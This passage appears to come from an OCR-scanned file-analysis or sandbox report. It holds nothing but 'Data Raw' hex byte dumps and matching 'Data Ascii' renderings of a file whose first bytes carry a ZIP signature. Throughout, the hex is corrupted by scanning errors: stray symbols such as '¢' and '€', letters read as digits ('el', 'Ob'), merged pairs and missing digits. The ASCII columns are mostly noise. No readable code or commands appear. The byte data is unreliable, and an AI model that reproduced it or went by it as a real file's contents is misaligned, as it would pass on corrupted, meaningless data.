0Q"bjreG86TH4z

Data Raw: b5 c5 50 4b 03 38 cc 5a 01 6e d9 8e 0d 8a 93 05 bf 81 2a ba a0 50 7 b9 a8 f5 fa 39 dd e7 c9 56 fe 69 16 39
74 4b 21 ee 8a ab 4c 01 e3 5f 16 4e 9b 28 93 9b 7f d0 Ob 77 fe Ob b6 ba e7 b3 93 bb a2 c1 a9 30 el 60 5e a9 e3 96 df fa
16 b0 27 a5 21 ¢4 e5 7b 6f b4 f2 b0 5a 41 3 a5 16 f8 46 62 43 7b fc 85 fc c9 24 78 25 14 03 77 1e 33 a4 fc 05 cd ¢l 7c a0
46 97 18 Ob 25 c8 8d bb 80 b8 12 80 9b 62 f8 07 4d f1 75 91 8a 27 9d 8d 37 5a b3 23 ec b9 4c 84 69 74 67 d5 a9 a8 17 32
55 cf 71 74 72 44 b0 a7 6¢ a7 38 fc 8b f8 c2 b6 11 91 ¢3 04 76 04 ca el a0 b4 6d a3 9f c6 2b el 42 27 40 0d b7 87 be 65
57 47 21 c4 ed 4d e6 d6 d6 52 01 d5 e0 d1 08 58 9c 2f a9 7a 76 a0 88 48 66 d0 9c bb b7 eb 9 50 93 91 9d 36 af 53 3d

b2 e2 58 41 4e 61 ¢3 61 f2 18 cd 71 3a 05 df 39 ca 24 62

Data Ascii: PK8ZNn*POViotKIL_N(w0 N{oZAFbC{$x%w3|F%bMu'7Z4Litg2UqtrDI8vm+B'@eWGIMRX/zvHP6S=XANaag:
9%h

Data Raw: 21 5f 1d d0 8d 96 €8 b0 e5 55 Ob ce 5a 29 55 13 de al 56 e7 d2 e8 7d 80 d5 3b d0 ba 53 d3 50 1b c1 01 11 75
bl e0 b4 ae cd 6d 4e c8 10 c5 85 34 f8 7d f6 62 53 70 df 92 e7 77 ec 8c be ac e7 99 75 f5 dd b1 5f ¢9 c3 fd fc c5 82 2c 43
c2 6e 1e 73 77 cf 22 0Ob 35 0b 58 96 8f 57 0d 71 40 06 94 5b 66 6e d4 6¢ 8d 50 78 9a 35 b4 79 34 f1 fb 13 8a dc c2 7f 0d
lc4e al9c a6 c7 e8 67 8c 84 dc 8a 67 d9 7e 91 b8 ea b1 b0 22 50 51 cc aa b0 1c 31 0a 8b Oc 43 €3 04 c7 22 Oe df 10
12 3e 2357 ¢9 5d 31 f7 ae 17 8a ef a7 b9 73 3d 78 7f 53 2e 8f 49 09 0d 10 4a c4 c1 30 d1 8e 1f b5 9a 72 20 5¢ 47 14 5e
1755 87 85 d2 ec 09 d4 f3 6¢ b5 df 21 b7 {7 ff 44 2a ba 7b 6b a6 0a f3 34 b1 8b 8f df 7a 42 af 63 46 2c 36 40 el 03 4c 9f
50 c0 93 f6 8¢ 4e bf €6 1c 11 2e bc 00 7a 19 d0 7d 53
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Data

Data Raw: 54 6b ce 2c e6 73 f9 68 ce 65 10 f4 30 d2 04 66 17 1c b9 6f ea 85 63 c6 37 60 c3 a6 99 0d d8 cd ce c0 38 53
7b 8c 40 5e 11 57 bd a7 2a df bd 28 38 ae 65 3e 46 85 89 d1 ed 7d 2d 9b 46 76 89 7f f9 36 f1 e7 2d b7 3d 40 68 Oa 64 al
la a8 32 2c db 4b 4a 24 0b 26 b0 c5 0a 27 b2 e7 25 26 7c 8b 7f b3 8f c2 a0 6¢ 3e d7 f1 93 68 3e e8 23 26 7e fc 27 e5 el
49 be 38 0a fc 39 ad 00 91 50 5b a9 1d 98 33 36 6a 41 Oe €8 ae a2 db 78 00 d6 58 ea af 6d 9d 14 cb 79 01 46 6a dc 66 3f
3e434d 9b 01 el al 5b c6 cl e2 83 42 c2 bf 6¢ 62 87 63 6a 90 42 ed 8e 5e 2a f0 96 e6 4c d8 6a 15 88 51 le 2f de 07 d7
da fc ef 33 7b 95 2f ca fd 04 e8 b8 eb a3 a5 12 d4 51 93 db 02 d2 ce 5e d3 b2 5e bd b8 32 1c cf ef f9 2d 1e 35 7e 35 db 54
el 76 b9 6d 2a 60 42 e2 98 23 b9 15 eb a9 da 23 b3 f5

Data Ascii: Tk,she0Ofoc7 8S{@"W*(8e>F}-Fv6-=@hd2,KI$& %&|I>h>#&~'189P[36jAxXmyFjf?>CM[BIbcjB *LjQ/3{/Q"\2-
5~5Tvm* B##

Data Raw: ea ef 3f 7a 0b 60 d7 13 ¢8 c5 f7 f4 93 83 99 be 75 41 14 7a b0 90 2b €9 17 09 51 08 8b 47 ee 4c d2 19 6a bf dc
6e 1c 80 bc cf 80 9a 32 c9 2e 7a 58 d1 db c4 1f 65 fe c4 9f a4 5d 58 32 ce a6 cf 9f 99 61 5e 64 a6 1d a3 e9 98 7c 74 0d
01 3d 45 bc 25 ¢2 48 42 12 03 23 6b fe b3 a0 65 e3 ba db eb 44 63 9d 01 72 ff c9 85 c8 03 c8 8b d4 3d a3 36 42 2a 82 06
78 59 c3 be 41 be 5f b4 95 c1 17 6d c6 43 50 58 aa aa 04 d6 85 e7 fe 77 9c 58 48 0f c8 68 Ob 77 34 de 3c 30 fb 1b bf 03
7 8d 3e 9a 3e f5 b5 3c ¢2 36 1d 12 89 9e 37 a4 35 21 9e 8c aa 32 d5 el 76 ab 68 49 04 c1 7c d1 a2 8f c7 bd c5 27 0a 56
1c de f1 6e cf e2 69 4e f3 21 99 f4 4b 49 9c 8e ec a3 5d 84 67 49 f5 df 21 73 ab 88 89 c1 81 df 9f f2 8a 6a 19 9b 8b c2 19
db 13 ca a3 89 66 d4 47 b6 64 5¢ a3 d3 a5 e6 6b c9

Data Ascii: 7z’ uAz+QGLjn2.zXe]X2a"d|t=E%HB#keDcr=6B*xYA_mCPXwXHhw4<0>><675!2vhl|'VniN!Kl]gl!sjfGd\k

Data Raw: 6f 29 8f 7c 56 Ob 71 78 ff 6d f7 ea da 73 f2 ca ff bc f3 5f 7f 4c b9 51 99 69 8f bc 13 a9 75 37 70 d0 ce 94 80 94
ff f5 75 d4 77 93 9¢ 55 5¢ 17 e0 d2 ca cc 60 bl 2b f7 14 41 da 30 d8 9c a6 b5 49 5d d1 b4 80 50 03 27 26 5f 2c 10 7e 6b
ef b7 6¢ a4 c7 42 ed 32 eb 8e 21 24 05 19 35 b2 04 d1 0a 26 ed 23 75 e4 7c 84 2f Ob 63 36 ff 44 c4 ff a7 e4 5d 13 bd e8
92 cc 81 d8 10 a3 2a 2b fe 34 1e af 50 4d 97 5f 92 1b 82 00 87 e7 ac 49 61 89 66 d1 ce f2 6b 9b 4a 92 f5 42 dd 24 9b Oe
56 2a 6¢ 66 ba 60 b7 f2 ca 76 bd c6 fd 7a 78 d7 b9 70 9f cO ed 98 27 29 43 98 80 b0 6f 08 d2 52 b8 bb 2b 57 1f 79 40 4f
bf 06 6b 10 df 54 36 59 af cO 5¢c 71 4f 07 b3 4b e2 9a 5f ¢2 d0 c5 00 2a 95 ed 9b 50 4d ce 4c f9 5e dd 44 a6 83 e9 a3 02
5d 5c 69 c1 37 92 49 al 6e ac 8b 48 e5 e9 27 d6 48

Data Ascii: 0)|Vaxms_LQiu7puwU\'+A0I]P'&_,~kIB2!$5&#ul/c6D]*+4PM_lafkIB$V*If'vzxp') CoR+Wy@ OKT6Y\qOK _
*PMLADN\i7InH'H

Data Raw: b0 29 a7 9e 8a 31 8d 32 c6 5a dc 2e 32 32 26 e2 16 92 Oc 7b c8 8e 6e d0 54 71 c7 3a 40 89 da 6e 6b a3 74
d7 3365 ae c4 e4 1f 8¢ 89 63 3c 2d c4 9c 4d fc ab bb 45 af 8b dc 9¢c 09 ec b1 34 88 eb df 8e 90 87 cf 84 b5 e7 b4 6e e2
67 b4 49 91 c5 4b e4 55 33 ef a2 9e 14 ea €2 Oa el al 37 3c la bl df 28 9b 6a d7 e2 68 8e 9b 30 64 5b e6 72 {7 47 68 23
58 6e 74 48 d5 58 a0 1e 5d 8e e6 73 e0 d4 1a €9 bf 7c 68 28 77 b1 dc 54 19 fd 9d 7f 29 d2 6b Of cO 08 d8 15 b8 0a 77 8a
de 3d 93 e1 9b 09 b0 35 a9 d2 0f db 28 ed 46 8f 2d 7c f2 06 2c 87 c8 32 3c be a7 8c 2d c6 85 el 4d de 11 49 5c ba 92 c1
da 8d 56 57 e4 d6 c4 df 29 41 d7 a3 a3 74 44 99 93 27 10 44 13 78 3e 03 00 98 f0 46 71 ae da fb fb 03 dd Oe 6b 9a 3f 7c
5d 1a 28 2e 89 19 fc cc 97 al 56 6a c8 0f 40 c7 fd 7e 81 59
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Data Raw: 67 97 92 3a e5 60 ce 64 99 01 e5 ab ec 9f 5b 3c c0 f2 67 74 18 e7 04 aa 1f d8 cf 02 e4 1e 6e 00 el 44 87 3f df
60 69 8c c7 20 57 3c b5 a2 49 cd 39 44 f2 56 8a 5b 69 9b d8 5¢c bb 11 88 4d dc 77 94 6f c5 7c d9 f4 e4 c4 78 82 9b fc cc
c9 9b al c6 ee d7 8f d1 86 fc d2 03 e6 d1 5b e2 ea ae 2a 19 5b 69 9b b4 ef 92 fe d7 c0 1a 04 b3 ae bb 43 35 6d f2 b2 €9
8f 2d 29 2f cd 8f 76 64 08 f4 6e €3 79 d4 Oc a2 82 96 d7 d3 39 ed ee Of c8 b9 ec e8 12 e4 11 a7 4b f0 2c 10 5b 69 9b 68
5e 5d 2f 6a 59 f9 ee 07 2a el 1c c3 07 6a e7 64 el 54 9¢c 57 5b 69 9b 70 9b 46 43 d6 8e 4e 5a d1 36 b9 0d c9 4c dd 56 c8
1 dc c4 05 3e fb 84 da c1 f4 66 4b 1a e5 de 9d 5b 69 9b 18 78 fa 5e cc 7d 8d 8 42 48 4a e7 6b 2d 1c 33 45 5b 69 9b 24
1e 60 af dc ff 96 3d 9f 20 e4 4f 66 bb 5b 69 9b 32 15
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Data Raw: Oc ef f7 38 74 af 84 34 10 d8 55 5d ed 4d 77 0 1a bb 79 a8 3c fc 94 09 e6 32 10 5b 69 97 {7 2d d5 84 99 67
ad 1b 1d f9 ed 71 d8 da a2 79 5b 69 97 {7 7b 51 65 fd b7 21 ca 7b 5b 69 97 2 aa cc 34 al df 18 2f 1f b5 c4 c0 3a aa 1d 66
2f 4a 9a 38 2a 9e bl 6a 92 87 53 7b 73 b6 5b 69 97 8¢ e1 80 bl c7 83 46 Oe 69 94 9b 3d b5 5b 69 97 af a0 eb ad 14 c8
3132 d9 9a d4 5b 69 97 b3 32 13 60 77 d4 c6 60 f9 97 b5 2d b4 d6 fd 13 7d f0 78 db 69 8b €9 fb 5b 69 97 45 18 13 1c d9
f2 ad 2f 91 7d 3e eb d3 7 86 e4 78 Ob 8b c4 0a af 5b 69 97 6a f1 de 92 4c ec 06 al 06 60 87 f6 73 32 46 56 73 4e 39 5b
6997 01 72 ¢9 9a 12 75 Oe 2d cd c2 97 87 89 0f 20 ¢5 ed 40 22 4d 65 7d 5b 69 97 3b 6 88 a9 76 33 df 81 09 e7 fb 85 95
€6 4d 9c 3a bc 44 7f 7d 5f 19 5b 69 97 20 8d 60 2 4d 2¢
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Data Raw: 3d 15 fa f5 e5 2f bf 71 64 42 47 fe 07 5f 57 74 8f 5b 0b 4d a7 c3 3e fa f3 3 1e 31 4f f2 5d bd 53 €3 3f Ob d2 dO
45 b3 6¢ 90 8¢ 3¢ bb 8e 76 86 d0 1d 18 90 06 5 7a b7 4e fe e3 5a 56 b6 32 4f 7e d1 5d 54 d7 b8 8b bc ba 06 85 73 bb 26
b1 a0 €0 9d 5 16 1f 85 07 b6 1c 58 19 62 3b 60 c2 6f 9e 76 2b 44 2c c7 cf 9f a5 dd 7e 0d dO 79 7d 4e 3b b3 39 4e 65 16
25 eb Oe 5b 77 f0 51 00 2f 6a a5 53 12 d1 87 18 45 e2 b3 53 47 7 cc 41 80 0f 8c Oc 68 ab 8d b0 2a 1c 8a 06 5e 49 29 3d
5¢ 9¢ db b5 9b 56 51 26 0f 7b 1f 6a c0 2d 21 cd 59 dd 46 d3 5c¢ cf b4 47 ¢7 23 56 62 ¢3 a6 2b 30 dc e2 cb €0 7e f9 ¢4 13
47 de 36 29 e1 83 fb 08 5e 81 57 9b 8e b7 bd 95 fd 20 5¢ a6 a9 7c db 60 a6 57 11 bf 26 97 dc 57 00 01 79 ce 38 71 9b 25
38 {7 fe bd d7 55 1a 88 0d 4b f9 €5 55 cc 98 cc 9¢

Data Ascii: =/qdBG_W{M>10]S?El<vzNZV20~]Ts&Xb; ov+D,~y}N:INe%[WQ/SESGAh*)=\VQ&L-1Y F\G#Vb+0~G6) "W
\ W&Wy8qo68UKU

Data Raw: 99 30 b1 86 b0 1b 50 25 87 b7 9d 91 4e 03 73 d0 00 a9 5a 29 a5 30 Oa ef 93 8b 26 38 67 5 32 17 04 9b ac 45
cf 66 ae 39 70 81 1a fe 0d b3 b9 5b fb 30 78 a8 b8 fa 0d 5c¢ f5 f5 €9 ad 75 bd ae 6e 2d ca 44 37 72 a5 05 91 d4 b5 3a 8f
7b 54 31 dd 6e f9 98 20 86 ec c4 38 86 bb el Ob 43 be 1f 0e 30 8d c6 1c e6 f1 53 7c ba 2b 52 9c 79 2f d6 d1 eb ae 1f f6
36 8b 21 12 21 31 49 40 d3 70 30 9c d5 ae 5 04 a6 3f a5 37 2b cc 7a 06 cb 82 be el 8¢ 07 9c 1a 2b 70 b8 37 55 09 12
44 da 8e c6 86 a3 af 8b 53 f4 70 df 2a 01 35 09 c1 65 6a 35 92 3b c5 77 cc b2 al 2f 7f aa d9 6¢ 79 c6 b2 35 21 36 54 c8
53 d5 61 5e 81 a8 6a 3a 87 32 9c 83 14 53 2¢ b5 ce 1a 21 0f 5b 62 d0 62 d9 ae ef ec 55 3e c5 ae 3e fe 88 6¢ {7 dc cb 7e
e2 b8 14 f5 87 c7 ff 93 d1 be 2d 73 a5 84 cf 04 6e dc b6 81

Data Ascii: 0P%NsZ)0&8g2Ef9p[0x\un-D7r:{T1n 8COS|+Ry/6!!1I@p0?7+z+p7UDSp*5ej5;w/ly5!6 TSa’:2S,![bbU>>|~-sn

Data Raw: 19 d0 6a ca 62 b0 71 3b 8e 4d e8 f1 6d 20 6a db 29 51 28 4c 1c 14 38 8¢ f3 b5 91 59 df ee 71 6b 29 c5 9 e9
7d 7172 1c e5 a3 89 7f 7a 68 00 56 07 f0 66 15 al 16 23 8¢ b0 e6 ab 7e 83 5d 3b bd 84 al d6 96 24 96 08 bd Oe 66 af 85
af 72 34 92 7c 57 6f b0 f8 92 c7 a3 Oa 1e ae da 6a 44 b4 8e 24 ee b8 05 d8 24 f4 f7 8d 88 0f 85 c5 86 bc 0d c7 a6 91 29
39 1b 0f d7 49 87 a3 6e 35 40 ab 19 6¢ 95 47 77 52 0f 00 91 dO 99 bb 3e dc bc 25 2¢ 0f 71 ed 3c 24 56 6¢ 6a d7 9e c0 83
62 ce 6b 45 5b 99 1f 16 b6 al 70 4e 4c 59 69 cO 1b b4 Of 8f 9e 19 83 40 ab 89 ad el 7b 47 c4 62 29 6b 37 ee 6¢ 71 4f b2
50 5f d0 a0 99 cd 13 4e 83 93 82 2d 3e dd 12 e7 8b f9 e7 25 49 72 c1 98 41 c4 57 d0 c9 34 8f 52 f0 29 13 cd 36 79 fc fe
d3 3a 40 4b 5b 05 12 3d 46 41 d0 e3 14 86 99 40 da 3f Oe
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Data

Data Raw: ee 25 f8 8c 52 ea e0 2b 33 0f c8 f2 87 f4 8c a3 be 31 66 15 07 a2 9f 82 cf Oa 8f 2d 4e b0 e0 fe 12 ac 61 66 3a
f3 67 82 ¢3 64 63 3179 bc 00 2d 00 a9 73 56 €6 77 2e 57 7e e6 93 12 87 75 f2 9f 26 9d 39 e0 5f 4c 4a 09 be 05 dd 55 76
40 85 1a e8 75 82 45 3f 5¢c eb b9 e8 70 €6 a8 94 76 al be df e6 02 fd 9c 61 d4 Ob d1 d7 5e 3f 3a e2 3b f4 8f b0 9b 3b d8
d7 d2 b2 36 46 47 7a ad 85 4f 2e 3d 76 c¢8 c8 69 7c 7d 09 de 88 df ac d3 30 cb 33 27 e4 26 dd db c8 57 9c 26 cf 8a c8 d7
ff aa cf 4a 08 43 94 71 fO 7c 85 47 01 49 79 5 Oc ef fc 08 03 39 73 c9 87 52 0a 20 e2 45 ea ca e3 4f e2 2b 5d 6¢ 1b 87 7b
5e af bc d5 09 01 fc 9f 3f 19 df af 04 9a c7 €3 51 30 a0 98 43 e5 6¢ ae a3 cb 15 63 66 3f 74 13 26 c6 d8 da 75 11 10 64 dO
9b 77 96 €8 7a e2 ef 94 b4 59 83 da 82 3d b7 25

Data Ascii: %R+31f-Naf:gdcly-sVw.W~u&9_LIUv@UE?\pva’?:;;6FGz0.=Vi[}03'&W&JICq|Gly9sR EO+]{*?Q0Clcf?t
&udwzY=%

Data Raw: d5 26 01 63 34 39 2e 36 d1 d6 47 db d7 94 9d 36 41 9b e5 24 1b b0 c5 3c 9e 17 a0 f4 08 5d e6 7a al 41 ea da
6a 03 8e ef 9a a3 3f d2 e0 6e 5a 60 f6 e1 2c a9 8d el 09 99 1f 9f 97 65 53 39 ff a5 4c 08 03 bb 24 76 65 ba 26 df b2 bd 51
Ob 27 06 Oe f6 6d b0 a9 57 22 e6 cd 97 91 7c dd 44 aa 3f 55 33 6f c4 d0 29 2d 27 63 76 e6 e5 12 4f f1 b9 fc 4e 32 5d 8d
10 5a 28 7c 7f 1f 17 09 6b 95 5e e4 29 3d fe 55 2b 0d cb 6d 0d c1 b9 6f cO 69 7e 88 df bf 8d 5d 89 3d 18 0f 95 ea 77 e7
6d 23 29 4d 98 65 de 11 59 fd 15 52 c6 41 f2 7e 60 66 c9 84 cc c9 d7 7c 76 41 2a 56 94 6¢ 72 al aa 97 d3 04 e9 a2 28 a5
5c 6f 28 bc 29 be 04 fe ¢9 54 cd 1a dd 65 93 c5 ba 99 55 5¢ 30 82 6a 9c 29 70 8b 24 1c c9 31 e0 f7 1b e0 2f c8 47 49 85
07 9b 2a dd 63 2c c0 c9 44 d2 50 39 d5 ac d3 31 23 25

Data Ascii: &c49.6G6A$<]zAj?nZ ,eSIL$ve&Q' MW" |D?U30)-'cvON2]Z(|k")=U+moi~]=wm#)MeYRA~fl[vA*VIr(\o()T
eU\0j)p$1/Gl*c,DP91#%

Data Raw: f7 ae c6 5f da Oe 93 a3 e5 81 be d8 5d ed fa 29 Ob 6f 98 3f 4a 7c 79 1e b6 1a 74 d0 5f 81 13 fe bc ¢7 40 db 9¢c
Ob baal 7549 a9 85 00 74 72 0f d0 7c 0d a2 b3 b4 7e 75 a0 ec ac 6f c2 a3 66 7a 34 21 a9 c1 15 df 52 85 af ed 4b al c5
4c ¢5 10 0d e3 ce 7d €9 9d eb c5 €0 6f 39 6d 52 ae 97 c4 2a 47 b8 24 77 5d 1b 06 8f 5a 4f 23 83 b5 ¢9 79 36 05 46 f8 Oe
1c 4529 ab 7500 11 d9 a2 42 6d 01 90 ed 35 97 33 4a 10 da 9d 76 db e0 a3 da 86 93 6f 12 91 a8 6b c4 f7 36 fa c8 2c 03
32e5bc4071 1c 31 e2 08 Ob fb ad 1f 09 69 5a ae d0 d9 ed 5b 2c 2d 4b cb 88 4b 2c 91 c0 75 5c¢ ec 4d 49 01 78 bf 89 b1
c534 a9 20 76 f6 ed ea 2c de 9d 25 8c a3 d0 93 b5 79 1f 6d d3 76 16 51 3d 02 fb 6a 77 cf da 35 f2 3f 56 43 b9 54 9a 39
7b 14 d3 b9 fd d4 13 87 3d 55 47 76 Oe 01 3f 29 80 1b
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T9{=UGv?)

Data Raw: bf ef 09 76 8f 82 a2 fb b6 47 62 6a bd 99 60 17 b1 b2 6a e8 20 72 48 d9 98 4c bc d5 53 fe 43 5e de c2 f6 db 37
bb 41 e8 0f d5 34 b7 c3 cf 04 e4 23 45 b8 37 16 6d e7 21 5a 16 f8 88 f9 81 ¢3 dd e6 9b 9e e2 ba 6d f0 62 49 34 f3 79 9d
b7 4a 54 39 ea eb 5f 73 34 15 42 fe d5 ca 29 45 38 fO 78 08 d3 8b 1c 33 84 3a 88 2f 3a 6e 99 62 3a 7e 45 ea Of e4 ac c3
2b 79 €3 65 d0 ab 32 68 94 02 a0 12 35 f1 3c a7 d4 aa 71 ¢9 07 4a d3 ab bf fd cd bb €9 84 71 b3 b4 b2 b0 72 cc 5f c9 a4
a7 Oe a3 b5 bf 23 d5 fd bf 03 53 f4 52 d2 b2 €9 ef 13 a3 22 f1 b1 94 c8 c8 39 35 e3 be fc 2a fd be a0 81 8e e6 6d 48 3¢ 8¢
7b 5e 01 7a 00 e5 4d 46 1a 19 71 a3 79 be 83 48 19 9b b8 ef 42 6e 9a 0a 9c cd 78 3e 31 Oe bl bc 09 2c 65 27 b3 9a ee
41 af Oe fa Oe 95 48 4a 00 c7 bb d8 60 86 e6 55 €9 56
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Data Raw: el bf 77 cc 70 ed c3 6b 55 7b 7f f0 a8 20 f6 c¢7 8d 52 69 3c 3 f3 04 99 11 b3 e2 fa 4f 63 fb 4a 59 44 33 Ob 5e
42 ce 3b ec 14 39 29 fd 34 5d e9 5f e0 9d af b0 Oe 27 51 6b 20 d8 ec 1e 9e 88 2f 1c d4 da al e4 d2 d5 5b de d0 d9 27 11
f2 d3 5¢c 7c 87 3¢ 01 38 d9 57 54 e4 a5 c3 e0 9f db 90 6a 98 al 6¢ 34 31 23 e2 31 3c 1c 89 5b db 3b 99 28 dc €9 87 53 cf
47 cc c9 25 9a be 4f b6 91 ca 21 cf e7 98 9f 81 bf 38 ¢3 1b 84 Oc 8e dd eb 9c af 9b Ob ed 85 a4 d4 5d 8c 09 dd 73 61 cf 7f
26 88 b4 88 6b 96 04 f1 ae a2 be c1 49 5e af 62 Ob 43 ba ae 1b df 80 d8 3c de df 65 ff bf fa cf 7a 8f b3 25 43 61 Oa fa 3d 7f
13 7e 19 f2 72 49 ¢5 18 b2 38 2e 29 Oc 1a c9 7b fa 7b eb b2 6d d5 15 3a bb 62 ¢4 5d e2 7b f2 12 79 1b 6d 73 cf 9f 18 93
2fcl 7ad8alf2 8c 99 a2 ad d3 7f 65 1a 2d

Data Ascii: wpkU{ Ri<OcJYD3"B;9)4]_'Qk /['\|<8WT]l41#1<[;(SG%O!8]sa&kl"bC<ez%Ca=~rl8.){{m:b]{yms/ze-

Data Raw: 48 ba 9d 8f 11 cc cO 1c 59 20 45 10 42 2f 90 3b 60 f0 8¢ 98 67 00 b0 47 18 60 f0 18 69 31 34 90 14 8¢ 48 f2 {7
ce 043065 99 5b el a9 8 31 a9 43 e8 62 1d 87 95 45 52 24 04 9c 1 09 46 bf 64 6b d9 fe 71 32 8e ea d5 7c f9 30 f1 78
c12d 46 09 57 61 45 a4 5f 1a 1a a9 92 a4 e7 bc b8 29 e6 41 89 32 34 b6 03 f8 ee f8 75 49 0a 59 ec d4 57 90 a0 a3 4e ee
82 10 a8 b4 e1 Of 9c €9 b2 fd ee 51 8a ab 45 29 0a 1b 98 1d 70 c8 9b 87 36 55 75 16 b8 9f a7 ff d2 9f 50 43 da ad 50 8d
80 49 86 42 b9 9d 8e 37 60 84 53 af 83 a3 22 06 c6 99 89 bd fc 20 d9 3b bd Of 38 b8 Ic 45 fa ea 49 fe fd bf 16 43 e4 74
7¢ 05 67 6f c7 3a 6b ab 33 cb d1 cf f4 29 d7 6f d2 a0 7 46 fe 63 19 a2 f4 33 af 59 cc 16 62 d3 b9 d2 5 cO fe f4 f6 a1 9b ef
3c b8 b7 bd 25 23 6e 8d 59 ec bd 81 07 8a 5a 8b

Data Ascii: HY EB/; gG i14H0e[1CbER$FdKq2|0x-FWaE_)A24ulYWNQE)p6UUPCPIB7'S" ;8EICt|go:k3)oFc3Yh<%#nYZ

Data Raw: 35 8a c6 5c¢ 2 41 fe 09 5d 61 99 a6 c¢5 52 5d de 1b ¢4 85 7e 3 ba 03 72 0d 2a 24 33 d2 a0 46 ed a0 cf 84 54
c9 1b 6b 7c dc ec d6 b3 fe cc a4 1b 99 1f 96 cc ad cf c4 d4 c8 a6 91 7d 17 1a 06 4e df 55 8b 7e 10 3c 23 92 c2 70 c5 d7
0c 98 c9 ac 41 e4 3f 12 d1 16 63 45 91 0f 13 cf 09 d5 ab 45 51 el dc a3 59 44 76 7c 53 17 9a 1f 7d 3d 27 89 86 5a b8 e5
6a42 61 b8 5d 76 4d Ob 4b e5 a7 2e 41 07 1a 91 05 bl 33 c1 f2 Oc 4f 7a 67 10 6d 30 67 f9 8f c3 7f 69 ee eb db cb 5d b7
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1a 52 05 a0 c0 35 47 79 6b 69 ee cf cf e0 60 76 3c 6e 1le

Data Ascii: CEXEK]GW<K1?Hu7.L8D-6%H1;mKIX3M~630"1IXI"PI[Fu‘o{2aBZ;jcRAC=w#{CqT3crGuA2KjQoa~2?.<I#{04
{[8R5Gyki'v<n

Data Raw: 38 ce 5d 9c 81 dc e4 4f 51 39 77 01 43 15 8c 01 3a 88 a5 ea f9 dd 80 3d 29 b8 6b 51 b5 ff c2 50 ff 1a 28 aa b6
€386 c6 f1 e5 49 73 e4 2f 93 4f 6¢ 2a b4 92 43 32 a8 23 aa 55 76 ¢7 9a 98 ab 81 66 95 e0 6a 55 c2 ad 9f 57 bf 23 15 5e
b6 38 50 70 8¢ 6d 57 dd e5 de 9¢c 95 el 71 d5 1c f7 d6 5a b6 a6 4f b9 3c be c7 f5 4¢ a5 c0 88 cf ¢8 ¢7 87 24 7f dc 6e b2
59 da 11 5f 04 2e 0d 2b 07 27 ec d4 60 44 4e ac Oa af f8 7c 8a 1e e6 a4 d0 00 0d af 6f 5¢ af 2f 6a 04 c5 43 a9 cb 6b 16 41
cf ¢7 f2 ¢6 32 Oc 3e 5b d2 d1 7d 48 96 24 c1 7d 30 69 c6 cd 21 c9 3f fe 37 al 60 06 a3 ea 34 41 d7 00 8a 1la 64 7c d5 a2
94 e0 89 35 a9 92 be 73 70 5e b5 79 2a 4b f7 a2 7b 77 20 8e 2a d1 ad 32 f2 de fa ea 52 ef cc df 2a 36 b0 8d 4 2f fe b2 e0
98 e6 62 3a f4 a0 Of ce 4e cc 80 8e 7 50 c1 5a

Data Ascii: 8]0Q9WC:=)kQP(IS/OI*C2#UViUW#8PpmWqZO<L$nY _.+"DN|oVjCkA2>[}H$}0il 27" 4Ad|5spry*K{w *2
R*6/b:NPZ

Data Raw: cf 39 al 3c ff 41 ec f7 38 8d ed 20 1a 89 27 34 f8 4d 94 51 44 20 3d 24 76 d9 4a 8e e7 21 cc 24 16 9c bd 2d
2a ef b0 9b a0 7a dc d4 91 07 bd 94 ce 2c 7e 93 1e 25 21 16 6d a6 ae fc 75 5¢ 02 b3 be 8 5d 5 30 48 6f a6 af 74 07 40
94 25 58 4f 17 84 5¢c c5 68 97 ae 4f 80 6f 28 57 87 85 2a e7 7d 08 24 55 93 02 ba e3 c5 f9 fO ce f9 a8 eb 16 8a ae df b6 5b
Oc a4 b7 b0 e8 87 05 3c 23 3f cO ef aa 09 9b b0 25 7c d8 8f da 4d dc 3d 76 97 72 bl df 02 85 93 e4 fd 46 6a 9c a2 02 14
9a 60 a0 04 69 9d c4 96 75 b6 0d 50 be 57 3¢ 06 36 06 7¢ 29 6e 82 45 4f bb 2e a9 61 eb 1a 0f b2 ce a2 9d 1f 70 85 89 b9
18 d6 e4 b5 19 ea d2 cf f6 44 40 c8 eb 1e a0 9d 7b 84 7d f5 5b e6 01 53 88 76 c6 fb 4a 32 17 62 1c 4c 8b 9c e2 ea c2 71
dc fa c3 33 7f aa 3¢ 96 9d 8f be 17 09 a9 le 35 a9 c2

Data Ascii: 9<A8 '4AMQD =$vJ!$-*z,~%!mu\|0Hot@%XO\hOo(W*}$U[<#?%|M=vrFj iuPW<6|)nEO.apD@{}[SvJ2bLg3<5

Data Raw: ae 63 51 71 6e 0a 57 c8 fe 30 35 1e fa ca e5 45 Oa 1f 4b d6 28 14 2b e4 0f ¢3 31 b1 59 ac 61 01 8a la d5 ca
5e f1 3f 06 cf 09 97 45 3b b7 71 29 c2 c1 89 f9 f5 ¢9 57 41 01 a6 23 78 73 fe 01 3c ef 56 1a 58 42 7d 76 5f 41 24 89 b7 e5
23 1a 1b 70 39 27 3d b8 04 1d dO db ab 09 99 9c b9 a9 89 d0 22 6f 17 93 bb 3a ae ab 08 ae 13 92 1d 42 1a b0 4b e8 7e
46 97 58 a5 2b 81 ba c3 12 63 33 f7 2d 2b 7d 9e a0 91 10 6b d1 ff d1 32 64 6d 09 23 80 e4 00 c7 be 5d 87 85 ea 97 6f 00
a9 e7 2e a4 85 3d d9 f4 3b 75 c1 Oe cc 8¢ d0 22 5e a8 87 54 ca 63 dc 83 f7 92 6e a2 92 13 ad f3 83 96 31 95 65 2e 91 79
77 d0 Oc 82 c3 78 67 8¢ cb 4f 05 56 b7 fa ca c0O ae 9e bd 68 9d 8f 70 f9 a8 4 af cc 70 25 2 f2 98 ca 10 ef 76 3c 7 bb a9
a0 fb 2e 3b 1e 79 39 74 45 Ob ee 53 d5 3a bd 5d 7f Of

Data Ascii: cQqnWO5EK(+1Ya?E;q)WA#xs<VXB}v_A$#p9'="0:BK~FX+c3-+}k2dm#]o.=;u" " Tcnle.ywxgOVhpp%v<.;y9
tES:]

Data Raw: 44 31 26 35 0f 87 cb 78 06 4a 6f 27 95 93 f3 2b 33 12 6a al 63 67 c1 68 €0 fe 81 0a 61 d5 ee f4 dc db ae 95
20 d1 4a b8 df 19 d7 ec 38 6¢ 86 77 5f 59 b8 5¢c 0d ec 9c c7 ee 46 9d a6 77 99 12 68 9c 68 15 81 78 f0 88 2b da b0 8a 80
5148 a6 1c 85 f6 c5 1c ed b5 63 e8 c7 e2 b5 c8 40 b6 cO ec 47 07 8f 61 3c f2 ea bl f2 f1 84 7e 5b 59 f6 df 3d 95 b7 8d 8f
